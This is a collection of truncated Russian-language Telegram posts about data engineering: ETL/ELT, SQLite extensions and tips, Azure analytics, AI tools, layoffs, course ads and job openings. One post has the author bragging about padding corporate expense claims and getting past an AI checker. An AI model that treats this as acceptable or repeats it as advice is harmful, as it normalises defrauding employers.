ETL vs. ELTИнтересный момент касательно ETL/ELT процесса, который с одной стороны очевиден, а с другой стороны - не задумываешься о разнице до поры до времени. Так вот, чем отличается ETL от ELT? Самый очевидный ответ - порядком выполнения степов Extract, Transform, Load. Да, но когда применять ETL, а когда - ELT?Исторически ETL использовался в концепциях обработки данных для DWH. Была и до сих пор остаётся куча тулов, таких, как Informatica, Talend, Pentaho и т.д., которые являются ETL инструментами: загружаем данные из сорсов на машину/сервер с тулом, применяем трансформации, выгружаем в наше хранилище данных. Да, такой подход работает, когда мы говорим об обработке небольшого объёма данн…

Вот поэтому я всегда говорю - забудьте про джуна и будет вам счастье! В начале data learn один в один советы!

В понедельник уволили моего хорошего китайского товарища (кто в чате datalearn, то это он на английском поздравлял вас с новым годом и говорил I love Russia), которого я привел, к сожалению он был data scientist, но ему пришлось работать инженером данных, и понятно дело он не очень понимал как это все происходит, в декабре его посадили на performance improvement и в понедельник уволили. Конечно это косяк менеджера в первую очередь, потому что он взял чувака с Phd по экономике и давал ему задачки ковыряться в чужом SQL (technical debt💩). Когда товарища взяли к нам на работу он мне подарил norinco 97🫣А вчера Sr. Analytics Engineer, сам уволился, сказал - ВСЕ С МЕНЯ ХВАТИТ. Сказал вечером, и у…

Лично знаком с товарищем, в 2016 году он бы BI инженером и я всегда следил за его карьерой и часто примерял его успехи на себе из разряда "А что если бы я сразу конвертнулся бы в менеджера и уже был бы Sr Manager", но решил не лезть в менеджеры и сейчас пожинаю плоды своего инженерного пути. Получается таже история, когда ехал в Канаду, знал, что надо быть инженером и никогда не хотел быть менеджером в Москве, чтобы быстро найти работу за границей. И сейчас думаю, инженерам проще найти работу. Но возможно у менеджеров есть один +, им разрешат купить лосьен и сделать claim expenses😎 Кстати в Сиэтле была моя команда из Барселоны, какой же это кайф работать с Европейцами, после Канадцев и скор…

Даниил поблагодарил за datalearn и community да и вообще поделился с вами как чего и почему нужно учить SQL:В колледже учился по специальности администратор БД. Так случайно получилось) По факту администрированию не учили, но учили писать код на SQL. Был очень хороший преподаватель, с которым до сих пор общаюсь. Да и тема данных мне понравилась, так как она универсальна и очень интересна: может пригодиться как в бизнесе, так и в научной среде. Был еще веселый преподаватель, который говорил что дата саенс это самая лучшая профессия 21 века) Но меня не очень в математику тянуло, больше нравилось что-то инженерное делать.Увлекался звукорежиссурой, записывал друзей, сводил, мастерил + кастомизи…

Умеют люди в бухгалтерии настроение поднимать. Ездил в Сиэтл на недельку, как обычно все чеки в кучку и claim expenses. Набралось на 2.5 тысячи. У меня опыт большой работы в корпорации и мне всегда интересно "на авось" чеки подсовывать на разные суммы, так как в 99% работает. В Амазоне, я покупал каждую неделю по книге O'Reilly, в течение нескольких месяцев и собрал хорошую коллекцию. Когда жил в Бостоне несколько месяцев, в день на еду тратил 250$ вместо 50$, и оказывается Амазон внедрил AI для проверки expenses и ему было вообще все равно. Так что не все AI плохие, есть и хорошие🍍Но сегодня, я встретил самого внимательного бухгалтера, который написал мне:Kindly amend the amount on this an…

Если вы только начинаете работать с Microsoft Azure, то вот вам отличная подборка про продукты Azure для аналитики:Основной продукт это Synapse Analytics, внутри вы найдете все основные сервисы:- Serverless SQL (аналог Amazon Athena)- Dedicated SQL Pool (MPP SQL хранилище данных, аналог Redshift)- Azure Data Explorer (возможно ближайший это ElasticSearch и Splunk)- Power BI- Spark Pool (аналог databricks) и замена Azure Databricks - Synapse ML notebooks (аналог Spark MLlib) и как замена Azure ML- Azure DevOps (аналог GitHub, Gitlab)- Azure Data Factory (аналог Airflow, выполняет задачи оркестратора, есть UI или код)Вот вводные видео:Synapse Serverless и Synapse Dedicated:🛵Synapse Espresso: …

Хотите понять, как проводить A/B-тесты и интерпретировать их результаты? Тогда не пропустите бесплатный вебинар по предиктивной аналитике от MyTracker.На вебинаре мы поговорим о том, что такое A/B-тесты, как их правильно провести, какими метриками и критериями оценивать результаты и многое другое. Дополнительно мы будем моделировать разные сценарии А/Б-тестов с помощью jupyter notebook и оценивать статистическую значимость результатов.Вебинар проведёт Александр Смирнов, программист-исследователь команды предиктивной аналитики MyTracker.https://vk.cc/cl2ezL#реклама

Автор резюме утверждает, что его резюме понравилось в Microsoft, Google, Amazon. Кто-то решил его детально проработать и выделить основные ключевые моменты:Розовым - Action Verbs (глаголы действия) - с них начинают каждый bullet pointЖелтым - hard skills для вакансии (ваша специализация)Оранжевый - показатель понимание бизнес и реального опыта в индустрииЗеленый - измеримый результат, самое ценноеГолубой - impact (но в данном пример, какая-то фигня)Фиолетовый - ссылки на портфолиоВот оригинальный пост Кто-то может сказать, так чувак и так в FAANG работал, его и без того позовут. Но на моем опыте, это не сильно влияет на результат. Рекрутеры как правило стараются найти хорошего кандидата, а …

Open AI заключили эксклюзивное партнерство с Microsoft.Open AI будет использовать Microsoft Azure для своей инфраструктуры. Основные продукты сейчас это GitHub Copilot, ChatGPT, Dalle2. Так же Open AI развивает направление supercomputers - Microsoft announces new supercomputer, lays out vision for future AI work. Ну и конечно Responsible AI, в главе 13 Designing Data Intensive Applications очень здорово написано, почему нужно делать responsible software. PS Вчера мне снова помог ChatGPT. У меня есть CI/CD pipeline для Amazon Glue (Spark), который запускает в docker Glue Image и выполняет PyTest для каждого unit test. После добавления новой логике в код pytest стал падать в CI/CD pipeline. В…

Веселые картинки по организации компании без линейного руководителя на русском от Valve https://dtf.ru/u/17943-darkdenis/1578589-ya-prosto-zashel-na-sayt-kompanii-valve

А сколько раз вы можете прочитать непрочитанное письмо? https://youtu.be/FlR_Ztt_FwQ

iPhone выпустил команду SiriGPT для Siri 🍏Что будет, если подружить два искусственных интеллекта в вашем смартфоне? Конечно же, обострение паранойи по поводу того, что вас подслушивают!Ну, а если серьезно, то для владельцев iPhone выпустили команду для Siri, которая подключается к OpenAI через API и превращает Siri в почти всемогущего виртуального ассистента.Если хотите попробоватьВ этой пошаговой инструкции на русском описаны все необходимые шаги, от создания аккаунта на сайте OpenAI до активации команды. Решать задачи, переводить, искать ответы и болтать с AI теперь гораздо удобнее!

Аналитик SQL: профессия прошлого? 😥Мы продолжаем знакомить вас с возможностями GPT-3 и, в частности, тем, как модель может повлиять на рабочий инструментарий аналитиков и инженеров данных в самом ближайшем будущем. Что произошло?Кен ван Харен, сооснователь платформы Patterns, решил проверить способности GPT-3, создав бот в Patterns Studio и подключив его к закрытой базе данных Crunchbase. Разработчика еще с прошлой работы беспокоила проблема необходимости тратить свое время на бессистемные мелкие SQL задачи, когда компания спонтанно требует предоставить отчет или уточнить какую-то информацию, отвлекая аналитика от более глобальных и серьезных проблем.И что получилось?Кену удалось, посредств…

OpenAI выпустили классификатор, который определяет написан ли текст вручную или с использованием нейронки. Чем-то напоминает мне историю про антивирусные компании, которые вирусы сами и создают. Однако у меня данный классификатор не смог детектировать сгенерированную жалобу на простейшем промпте к ChatGPT — две картинки в карусели.

‍Умные заметки, генератор сопроводительных и мемов: семь AI-моделей, которым можно делегировать задачи— подборка @leftjoin для всех, кому нужен перерыв от ChatGPT1. Summari — инструмент, который трансформирует любой текст на английском языке в короткий абзац с главной мыслью. Подойдет, если нужно быстро вытащить суть, а статью достаточно прочесть по диагонали. 2. Spreadsheet Magic — модель на основе GPT-3, которая может дополнить Google-таблицу через поиск и анализ информации в интернете. Закрытые и непопулярные данные не подтянет, но найти Twitter-аккаунты известных личностей или население штатов США у неё получится.3. Refraction — сервис работает с C#, C++, Java, Python и другими языками …

Для ребят из @setters (которых мы любим и уважаем за их маркетинг, обучение и другие сайд-проекты) собрали подборочку AI-сервисов. Думаю, что и наши подписчики найдут что-то интересненькое для себя 😎

MusicLM: новая веха в музыкальной истории 🎼Разработчики из Google Research выпустили доклад о модели MusicLM, которая генерирует музыку на основе текстовых подсказок, а также открыли доступ к датасету MusicCaps, в который входит 5.5k пар текст + музыка.Такое мы уже где-то видели!В отличие от Riffusion, модели для генерации музыки на основе Stable Diffusion, о которой мы писали ранее, MusicLM генерирует музыку высокого качества, а также может основываться не только на тексте, который описывает предназначение трека, настроение и инструменты, но и мелодию, позволяя также регламентировать каждый из этих аспектов указанием тайминга. Например, вы можете задать последовательную смену настроения ко…

Знаете ли вы реальные цены на Enterprise-внедрение dbt?Пташки нашептали мне реальный прайс на внедрение dbt в одну US-организацию. Хотел бы поделиться и раскрыть карты на реальное коммерческое положение дел по внедрению модного analytics engineering solution. Итак, 10 developer-доступов и 50 read-доступов обойдутся вам в $38K в год, добавьте к этому $6.3K в качестве one-time fee на онбординг и дело в шляпе. Кстати, в 2017 году по сравнимой цене внедрялся Looker (модель с так называемым «jump start kit» была очень похожей).И еще по этой теме — недавно я наткнулся на интересный пост: автор придумал как оптимизировать такие приличные затраты на dbt заменив их github workflows.

Студенты: хочу блистать знаниями во время онлайн семинаров и не палитьсяNVIDIA: ✔️Мечты сбываются: в свежем релизе NVIDIA Broadcast — платформы для стриминга и видеоконференций. NVIDIA внедрила AI, чтобы ваш зрительный контакт с человеком по ту сторону экрана не прерывался. AI «нарисует» вам глаза (максимально реалистично, надо отдать честь!) пока вы будете спокойно смотреть видео на Youtube во время очередного совещания.Также, для создания более реалистичной картинки, разработчики представили в новой версии возможность размывать фон и добавлять виньетку, что позволяет увеличить глубину пространства в кадре и придать ему большую достоверность или более аккуратный вид. Ну а вдруг вы боитесь,…

Sketch — библиотека, которая выполнит всю работу за васЕсли честно, при просмотре этого видео складывается ощущение, что больше можно совершенно не учиться программировать на Python, ведь Sketch может писать код и проводить анализ самостоятельно.Как она работает?Волшебно. А если серьезно, то эта библиотека — AI-ассистент по написанию кода: она заточена под анализ данных, в особенности с использованием библиотеки pandas (но и других тоже). Вам нужно подключить Sketch, загрузить данные, а затем либо задавать модели вопросы по данным, либо просить ее посчитать что-то на их основе, добавить переменные или нарисовать график.Если вы уже запереживалиСпешим напомнить, что любое развитие науки и тех…

📹 YouTube-канал LEFT JOIN вновь оживает: обзор на RocketBI 🚀Спешу поделиться с вами первым (и далеко не последним!) ютуб-роликом в 2023 году. Что в обзоре?Мы познакомимся с новым BI-инструментом, Rocket.BI, и детально изучим его внушительные возможности визуализации данных, а также определим, в чем преимущества данного инструмента и его недостатки. А еще обсудим, почему разработчикам Redash стоит побеспокоиться о своем продукте, ведь на рынке у него появился сильный конкурент!Можно ли было увидеть его раньше?Можно! В канале FULL JOIN все эксклюзивные материалы выходят на две недели раньше. Присоединяйтесь и будьте в курсе всех новинок вместе с нами.

Аналитика данных — блог опытного специалиста в области данных (который активно работает с данными Uber!). Что в канале?📍Много практических статей по использованию библиотек и методов, которые разобраны до мельчайших деталей понятным языком📍Гайды по использованию Python 📍Советы и лайфхаки по оптимизации работы разных сред (например, Jupyter Notebook), которыми можно козырнуть на собеседованииПодписывайтесь, ведь много профессионального контента не-бы-ва-ет!#реклама

Одеваться как разработчик — скучно?Нет, практично! Как минимум, если одеваться как вполне конкретный разработчик Олоф Ховерфельт.Почему?Все дело в том, что Олоф подошел к анализу предметов гардероба, как к рабочей задаче. Он отмечал, какие вещи и когда носит, а затем проанализировал данные. В итоге, он смог разобраться какие вещи служат дольше, какие стоят своих денег и, самое главное, что ему вообще больше всего нравится и к чему «тянется рука». Какие данные он собирал?Всего у Олофа было 426 предметов одежды, которые он разделил на 12 типичных категорий. Каждый вечер он вносил в дневник информацию об одежде, которую носил в течение дня. На основе этих данных он посчитал специфические метри…

Очередная коллаборация GPT – теперь с Google SheetsТо, с какой скоростью влияние и применение моделей GPT распространяется на нашу жизнь просто поражает воображение. Мы уже показывали вам, как один разработчик использовал gpt3 для заполнения таблиц. Но и этот метод активно развивается и улучшается!Что на гифке?Несколько дней назад в профиле LinkedIn ChatGPT, появилось видео автозаполнения пустых полей в таблице функцией gpt3(). С её помощью можно найти и добавить информацию из интеренета в вашу таблицу за считанные секунды. Нужны лишь заполненные ячейки и подписи строк и столбцов.Главное теперь научиться использовать сэкономленное время с умом!

«Здравствуйте, вам одобрена кредитная карта!»Вам, наверное, неоднократно звонили «роботы» с предложением оформить карту Халва или взять кредит в Альфа банке? Возможно, вы никогда не задумывались над тем, что изначально эти голосовые сообщения были записаны живым диктором. Мы называем их «роботами», но время роботов только наступает! Например, всеобщее внимание недавно привлек проект компании Eleven Labs.Что за проект?Eleven Labs — это разработчики инструментов, которые специализируются на клонировании голоса, синтезировании речи и авто-дубляже.Почему о них стоит узнать?Eleven Labs готовятся выпустить в феврале этого года платформу, которая позволит сгенерировать новый голос, используя настр…

Мое лицо, когда я открываю Slack после отпуска:#мем

SQLite в 2022 годуВот заметные фичи, которые появились в SQLite в прошедшем году:— Операторы -> и ->> в JSON (3.38)— RIGHT и FULL JOIN (3.39)— Функция unixepoch() (3.38)— Оператор IS DISTINCT FROM для совместимости со стандартом (3.39)— Расширение recovery для восстановления битых баз— SQLite теперь компилируют в WASM (3.40)Попробовать новые фичи всегда можно в песочнице sqlime

Выполнить произвольный SQL из строкиЗадавать функции прямо в SQL — это здорово. Но что делать, если хочется динамически составить SQL-запрос и выполнить его?Поможет функция eval():> select eval('select 10 + 32');42Можно выполнять любые DDL и DML запросы:select eval('create table tmp(value int)');select eval('insert into tmp(value) values (1), (2), (3)');select eval('select value from tmp');select eval('drop table tmp');Функция входит в расширение define.

Пользовательские функции в SQLiteВообще-то их нет. Да, можно написать функцию на С или Python, и зарегистрировать в SQLite. Но не прямо в SQL.Но все меняется, если подключить расширение define! С ним можно писать функции на чистом SQL.С define несложно определить собственную функцию:select define('sumn', ':n * (:n + 1) / 2');А затем использовать, как будто встроенную:> select sumn(5);15Пользовательские функции могут принимать несколько параметров и вызывать другие функции.Сгенерировать случайное N, такое что a ≤ N ≤ b:> select define('randint', ':a + abs(random()) % (:b - :a + 1)');> select randint(10, 99);42Можно даже задать функцию, которая возвращает несколько значений!Подробности в доку…

Расширения SQLite для процессоров AppleНаконец дошли руки настроить сборку расширений для ARM-процессоров Apple (M1, M2).Плюс вместо кучи мелких файлов сделал по архиву для каждой операционной системы.Заодно напомню, какие сейчас есть расширения:— crypto: криптографические хеш-функции вроде SHA-1 и SHA-256.— fileio: работа с файловой системой — чтение и запись файлов, создание каталогов.— fuzzy: нечеткое сравнение строк, фонетические алгоритмы, транслитерация.— ipaddr: манипуляция IP-адресами и подсетями.— json1: работа с JSON.— math: математические функции.— re: регулярные выражения.— stats: статистика — медиана, процентили, стандартное отклонение.— text: работа со строками.— unicode: подд…

Про курсыКак знают давние подписчики канала, у меня есть три курса на Степике:— Оконные функции SQL— SQLite на практике— SQLite для аналитикиПервые два частично охватывают материал третьего. Поэтому я решил, что будет правильно давать скидку на «SQLite для аналитики» для выпускников «окошек» и «на практике».Так что если вы:— успешно решили все задачки в «SQLite на практике» (скидка 500₽),— или получили сертификат с отличием в «Оконные функции SQL» (скидка 500₽),— и хотите пройти «SQLite для аналитики»,то присылайте ссылку на свой Степик-профиль мне @nalgeon, чтобы получить промо-код.

Временные таблицыБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать. Например, для удобства выбрать вакансии вместе с работодателями и регионами:select v.*, e.name, a.namefrom vacancy as v join employer as e on e.id = v.employer_id join area as a on a.id = v.area_idТеперь хочется запускать запросы по сводным данным. Есть три способа это сделать:1) Common Table Expression (CTE)2) Представление (view)3) Временная таблица (temporary table)CTE я описывал в отдельной заметке, не буду повторяться. Важно, что CTE каждый раз вычисляется заново, так что если наш сводный селект не особо быстрый — запросы по нему будут тормозить.Представление — это такой именованный…

JSON и виртуальные столбцыДопустим, вы решили вести журнал событий, которые происходят в системе. События бывают разных типов, у каждого свой набор полей. Например, вход в систему:{ "timestamp": 1652614531, "object": "user", "object_id": 11, "action": "login", "details": { "ip": "192.168.0.1" }}Или пополнение счета:{ "timestamp": 1652614584, "object": "account", "object_id": 12, "action": "deposit", "details": { "amount": "1000", "currency": "USD" }}Вы решаете не заниматься нормализацией по таблицам, а хранить прямо в JSON. Заводите таблицу events с единственным полем value:select value from events;{"timestamp":1652614531,...{"timestamp":1652614584,...{"timestamp":1652614644,...И выбираете …

Вычисляемые столбцыИногда поле в запросе рассчитывают на основе других столбцов таблицы.Например, есть столбец income с годовым доходом и tax_rate с налоговой ставкой. Тогда можно посчитать годовой налог:select id, income * tax_rate as taxfrom people;А чтобы не таскать везде эти вычисления, удобно создать виртуальный столбец.В общем виде синтаксис такой:alter table ТАБЛИЦАadd column СТОЛБЕЦ ТИП as (ВЫРАЖЕНИЕ);Для налогов будет так:alter table peopleadd column tax real as ( income * tax_rate);После этого столбец можно использовать в запросах точно так же, как обычные столбцы:select id, taxfrom people;Виртуальные столбцы не хранятся в базе и рассчитываются «на лету». Но по ним вполне можно по…

Многострочные запросы в консолиСтоило вчера мне написать, что отлаживать многострочные запросы в консоли SQLite неудобно, как интернеты принесли классный трюк. Достаточно вместо Enter использовать для перехода на новую строку сочетание Ctrl+V, Ctrl+J — и тогда многострочный запрос редактируется одним куском!

История команд в консоли Если вы используете консоль SQLite (sqlite3), то она помнит последние 2000 выполненных команд. Чтобы повторить последнюю команду, достаточно нажать клавишу ↑, а поиск работает по сочетанию Ctrl+R.По умолчанию файл истории хранится в каталоге пользователя и называется .sqlite_history. Он текстовый, так что можно просматривать хоть в редакторе. Если хотите сохранить в другом месте — укажите полный путь в переменной окружения SQLITE_HISTORY.История записывается в файл при штатном выходе из консоли, так что если «моргнет» электричество или еще что — команды, выполненные с последнего запуска sqlite3, потеряются.Конечно, запись истории — не единственная фича консоли. Напр…

Pandas на самом деле предельно простНо как и при использовании любого инструмента, который с виду кажется простым, всегда возникают какие-то ограничения, которые мешают решить поставленную задачуУ только что освоивших import pandas as pd бывает, что они знают какого вида табличку хотят получить на выходе, а как её получить — не знают и в итоге впадают в ступор, потому что знают синтаксис, но не знают внутрянкиДля того, чтобы эффективно использовать Pandas и максимально пользоваться его потенциалом, важно понимать основные структуры данных Series и DataFrame, так как они являются строительными блоками работы с данными в PandasНаписал про это целую статью с кучей примеровhttp://datalytics.ru/…

Бесплатный онлайн-вебинар «Алгоритмы любви. Machine Learning в Social Discovery» от Social Discovery GroupSocial Discovery Group формирует будущее dating-индустрии. Уже более 250 млн пользователей по всему миру пользуются нашими приложениями, отправляя 75 млн сообщений ежедневно. За этим успехом стоит команда опытных аналитиков и дата-инженеров, создающих алгоритмы для общения и знакомств, и мы поделимся с вами некоторыми секретами.❣️Наши эксперты расскажут о том, как мы привлекаем трафик на наши платформы и удерживаем пользователей с помощью системы рекомендаций по контенту. Мы поделимся нашим опытом создания In-House DSP, познакомим вас с алгоритмами подбора партнеров и покажем, как машин…

🔥 Аналитика данных с SQL - блог ведущего дата саентиста, Ozon tech.Здесь разобраны реальные практические задачи по работе с данными с собеседований крупных компаний.Дата Сайентист с глубокими знаниям баз данных, пишет код намного эффективнее коллег с базовыми навыками.SQl hub - это первоисточник материала, который появляется в платных курсах и блогах по программированию. Рекомендуем подписаться!

A/B-тестирование — незаменимый инструмент при проверке гипотез, но есть ряд причин, по которым оно может привести к ошибкамРебята из OzonTech в своей статье рассмотрели шесть распространенных причин, из-за которых система принятия решений через A/B-тестирования может давать неверные выводы. Узнайте, что нужно учитывать, чтобы ваши эксперименты работали и, таким образом, приносили пользу бизнесу. Мы рассмотрим методологию и процесс A/B-тестирования, а также проблемы и заблуждения, которые могут привести к провалу. Если вам кажется, что вы не обладаете достаточными знаниями о том, как проводить и правильно оценивать эксперименты, то вам будет полезна эта статьяhttps://habr.com/ru/company/ozon…

Немного не по теме моего канала, но нет сил молчать. Недавно я поняла, что некоторые сервисы строят пузырьковые диаграммы, как бог на душу положит. И провела маленькое исследование, в котором сравнила результаты наиболее популярных датавиз сервисов и программ. Хочу его попозже дополнить еще QGIS и Gephi, если будет интерес. Если есть еще идеи — ю а вери велкам.Опубликовала у себя на тильде

Хотите понять, как проводить A/B-тесты и интерпретировать их результаты? Тогда не пропустите бесплатный вебинар по предиктивной аналитике от MyTracker.На вебинаре мы поговорим о том, что такое A/B-тесты, как их правильно провести, какими метриками и критериями оценивать результаты и многое другое. Дополнительно мы будем моделировать разные сценарии А/Б-тестов с помощью jupyter notebook и оценивать статистическую значимость результатов.Вебинар проведёт Александр Смирнов, программист-исследователь команды предиктивной аналитики MyTracker.https://vk.cc/cl2ew

🔥 Хотите перейти в область дата-инжиринга и работать с большими данными? 👉 Сделайте первые шаги в этом направлении на открытом уроке онлайн-курса «Data Engineer» в OTUS! 27 января в 20:00 мск пройдет вебинар «Elasticsearch как NoSQL хранилище документов». Глубокое понимание этого инструмента — ключевой момент для его правильного применения.💻 В результате урока вы:🔸 Изучите классификацию NoSQL СУБД🔸 Узнаете про отличительные черты Elasticsearch и его применимости к разным задачам🔸 Узнаете, почему Elasticsearch — одних из наиболее популярных инструментов для создания поисковых датасетов в современном мире🔸 Поймете, чем так хорош Elasticsearch и задумаетесь об его внедрении в вашей команде🟢 Чт…

Хотите узнать простой и понятный алгоритм для построения графиков по данным используя язык R?Приходите 🗓 31 января в 20:00 на открытый урок «”Слои” в ggplot2» от OTUS. Урок будет полезен аналитикам данных и исследователям, финансовым аналитикам, экономистам и всем, кто работает с данными и их визуализацией.На занятии вы:- Узнаете как строить графики в R с помощью библиотеки ggplot2 слой за слоем.- Познакомитесь с разными типами визуализаций, фасетированием и многим другим.👨‍💻 Открытый урок проведет преподаватель Дмитрий Володин, Analytics Engineer в TrafficStars. Он использует R в своей работе как для разведочного анализа, так и для BI задач.Регистрируйтесь на занятие — https://otus.pw/GthL…

❓Хотите перейти в BI-аналитику?Сделайте первые шаги на пути к новому этапу в карьере уже 30 января в 20:00! Приглашаем вас на открытый урок «Подготовка данных для дашборда в Pandas» в OTUS. Вебинар состоится в рамках онлайн-курса «BI-аналитика» для продуктовых и маркетинговых аналитиков, аналитиков данных, Product Owner’ов и Project Manager’ов, Data Scientist’ов, Data Engineer’ов и выпускников, которые хотят работать в области BI-аналитики. ✅На занятии вы узнаете про методы предобработки и “очистки” данных для дальнейшего построения дашбордов в Python Pandas.➡️Какой результат мы получим? Преобразуем учебный набор данных, очистим его от пропусков и дубликатов, посмотрим различные способы тра…

Яндекс Практикум разработал практический курс по аналитике для тех, кто работает с продуктом. В нём можно набить руку на исследованиях, ad-hoc запросах и А/В тестах для реальной сферы бизнеса.Научитесь растить продукт на основе данных за 2,5 месяца. После курса студенты смогут:— разбираться в метриках продукта, рассчитывать их и влиять на них;— проводить продуктовые исследования, сегментировать пользователей и определять, какой сегмент что покупает;— считать юнит-экономику и находить точки роста в продукте;— готовиться к A/B-тестам, интерпретировать результаты и улучшать анализ.Проекты на курсе будут из разных сфер: онлайн-кинотеатр, маркет-плейс или сервис доставки еды. Каждые 2-3 недели с…

Надоели скучные видео уроки, по которым невозможно учиться?Команда python-программистов из Devman понимает, как важно получать реальный опыт во время обучения. Просмотр видео не научит вас самостоятельно писать код и не даст вам опыт коммерческой разработки, который так нужен работодателям. Именно поэтому команда Devman создала программу, которая гарантирует качественный трек от новичка до мидла.Во время обучения вы получите:– Опыт коммерческой разработки в CV;– 50+ небольших и 9 полноценных проектов;– Трехмесячную оплачиваемую стажировку;– Опыт прохождения собеседований, в том числе технических; – Трудоустройство в компаниях-партнерах или помощь с подбором вакансий. Курс длится 13 месяцев,…

❗️Как пройти техническое собеседование на ML-специалиста? 👉Узнайте на примере mock-интервью с преподавателями курса «MLOps» в OTUS! На открытом уроке вы сможете наблюдать один из этапов собеседования при найме ML-специалистов — ML System Design секцию. Для удачного прохождения этого этапа нужно не только знать ML-алгоритмы, но и иметь навыки проектирования ML-систем, которые могут успешно работать в промышленной среде.Спикеры:Павел Филонов — Ex-Data Science Manager в Kaspersky.Александр Миленькин — cтарший менеджер по работе с большими данными в X5 Retail Group.🗓Когда: 24 января 19:00 мск➡️Для участия пройдите вступительный тест: https://otus.pw/nIpW/Реклама. Информация о рекламодателе на с…

Тинькофф проведет митапы в Ростове-на-Дону, Краснодаре и Сочи 🚙Серия оффлайн встреч IT’s Tinkoff on the Road подходит к концу. С митапами о разработке, архитектуре и soft-скиллах побывали уже в семи городах России. Маршрут начали в Сибири, а завершают его на юге страны. Последние на пути:— Ростов-на-Дону — 25 января;— Краснодар — 27 января;— Сочи — 8 февраля.На встречах в этих городах: будут делиться кейсами, обсуждать технологии, а после докладов пройдет неформальный и полезный нетворкинг. Выбирайте удобный город и регистрируйтесь.Подробнее о серии митапов IT’s Tinkoff on the Road можно прочитать на этой странице: https://vk.tinkoff.ru/otr_tinkoff

📊 Сможешь ли ты стать дата-инженером? 📌 Пройди тест и узнай — https://otus.pw/7t2Mp/💻 Ответьте на 20 вопросов и проверьте, готовы к обучению на онлайн-курсе «Data Engineer» в OTUS. Дата-инжиниринг — новый уровень для разработчиков и админов СУБД.✅ На курсе вас ждет:✔️ Живые вебинары с опытными практиками✔️ Решение прикладных задач и создание своего продукта✔️ Real Case Studies: примеры внедрений, использования инструментов, оптимизации и разбор ошибок✔️ Во время обучения вы освоите работу с Architecture, Data Lake, DWH, MLOps и сможете самостоятельно решать задачи в сфере Big Data.🔥 Пройдете тест — получите демо-ролик о занятиях на курсе, Welcome-скидку и доступ к открытым урокам:👉 Elastics…

Немного пятничного юмора 🤪@ohmydataengineer

Минутка болезненной рефлексии..В общем, когда в очередной раз я обнаружил, что мой календарь забит встречами с 8 утра до 6 вечера, я погрустнел. При этом я сознательно отдаю команде возможности полидировать какие-то направления и целые фичи, пытаюсь не быть узким горлышком, но все равно выходит какая-то ерунда.Где-то что-то поломалось и пока я не понял, как починить. В попытках и поисках ответа на этот вопрос я зашел на сервис… ахаха думали тут реклама … я залез в интернет и накопал парочку интересных статей для рефлексии. Статьи интересные, но я все равно не понял про себя, правильно ли я делаю или нет. Вот такие вот пироги, сижу туплю в тупике 🤪https://erik.wiffin.com/posts/limiting-work-…

На LinkedIn попался пост, который хорошо лег в душеньку:Every layoff of 2023 has been a fraction of new headcount added in 2022 alone.It's not that 2H and 1H 2023 is weird, it's that 2020,2021 were deeply atypicalOne of the questions we should be asking companies that hired so aggressively in 2022 is what were you thinking?What data did you have that suggested Pandemic life was the new normal.Есть такое выражение “Too big to fail”, которое значит что-то в стиле “Ну Сбербанк никуда не денется!”, то есть “Ну Гугл / Амазон / Мета не могут ошибаться, они очень большие и умные”. Но, как мы видим, даже топы могут ошибаться. Ну и большие компании делали ошибки, которые приводили к их краху. Наприм…

Дима из «Инжиниринг Данных» еще летом постил ссылку, только сейчас дошли руки прочитать и очень срезонировало. Я даже в пост вынесу ровно тот же вывод:The core problem with working longer hours is that time is a finite resource. Energy is a different story.(Сама статья тут https://hbr.org/2007/10/manage-your-energy-not-your-time. Она за пейволом, но две статьи в месяц бесплатно. Так что если вы не заходили на Harvard Business Review в этом месяце, то можно почитать в оригинале)Идея в том, чтобы за основной ресурс и метрику брать не время, которое вы работаете, а сколько энергии вы расходуете И как ее эффективно восполняете. Можно целый день прокрастинировать и устать. Источников энергии 4: …

shorturl.at/fxEQ0Вот тут попалась в одном из телеграм каналов реклама одной релевантной конференции. Российская конференция про качество данных.Все бы ничего, но у меня есть вопросики к формулировкам:<…решениям обеспечения гарантированного качества данных в условиях динамичных изменений и экономической неопределенности…>Оч канцелярно. Ну и создается ощущение, что с приходом санкций у нас нет доступа к инструментам по качеству данных.А потом посмотрел фотографии и сложилось впечатление, что DQ это какая-то старперская дисциплина, стало грустно.Вы уж простите, немножко эйджизмом попахивает, но никого обидеть не хотел.Автора можно закидать 💩 или написать свое мнение в комментариях к посту[email protected]…

Как вы могли заметить, я не размещаю на канале ни рекламу курсов, и всякие weekend offer events, ни вакансии. Но у последнего бывают исключения, и сегодня ровно такой день) 🤪Если кто-то ищет для себя новый вызов в интересной компании, с очень клевыми людьми (лично знаком и с CEO, и с CTO), с прикольным продуктом (local purchasing power) - присылайте Кириллу свои CV.Писать @KirillGugaev

Привет всем! Я - CTO в американском YC-стартапе Corrily, ищу хорошего data-инженера!#вакансия #data_engineer #senior Компания: Corrily Inc Занятость: проектная / парт-таймФормат работы: удаленка, контракт с оплатой по-часам (пишите свой рейт)Описание проекта:Corrily - это ML-сервис для динамического прайсинга SaaS сервисов.Мы помогаем крупным интернет-сервисам по всему миру проводить эксперименты с ценами и поднимать выручку на 10-20% за счет изменения цен в разных странах и для разных сегментов на более справедливые.Кого ищем:Мы ищем опытного data-инженера, кто бы совместно с нашими разработчиками помогал бы расширять SaaS-аналитику (разбираться в данных, добавлять новые метрики, оптимизир…

Цели 2023 годаАга-ага, строили мы планы на 2022, но все крякнулось. Поэтому с одной стороны планировать что-то теперь в этом ну оч быстро меняющемся мире стало сильно сложней. С другой стороны - “If you fail to plan, you plan to fail”. Поэтому немного о том, что я хочу сделать в этом году:- Продолжить развивать “Трубу данных”, писать куда более стабильно в канал и более информативно, а не просто швыряться ссылками. - Начать писать на английском языке. Это не заменит этот канал, тут все будет так и в том формате, как есть сейчас. Я скорее про профессиональный блог на каком-нибудь Medium, Dev.to или еще лучше, Substack. При этом оч не хочется превращать это все в LinkedIn Influencer (ох уж у …

Итоги года.Если вас еще не достали итоги года во всех остальных социальных сетях, то вот чуток от меня, самые заметные события в моей жизни за этот год.- Канал “Труба Данных” активно растет и развивается. Для меня это огромная радость и удовольствие, делиться всяким полезным с вами. Много раз в комментах были клевые обсуждения, которые расширяли картину мира. Немного статистики на скриншоте выше. И да, никакой рекламы и канал остается независимым до сих пор, хотя приходят каждый день с запросом на платное размещение 😄 Даже кнопка вверху “На развитие канала" больше для успокоения моей совести (но я всегда рад донатам, конечно же😁). - Мне досталась новая роль, на этот раз официально - я тепер…

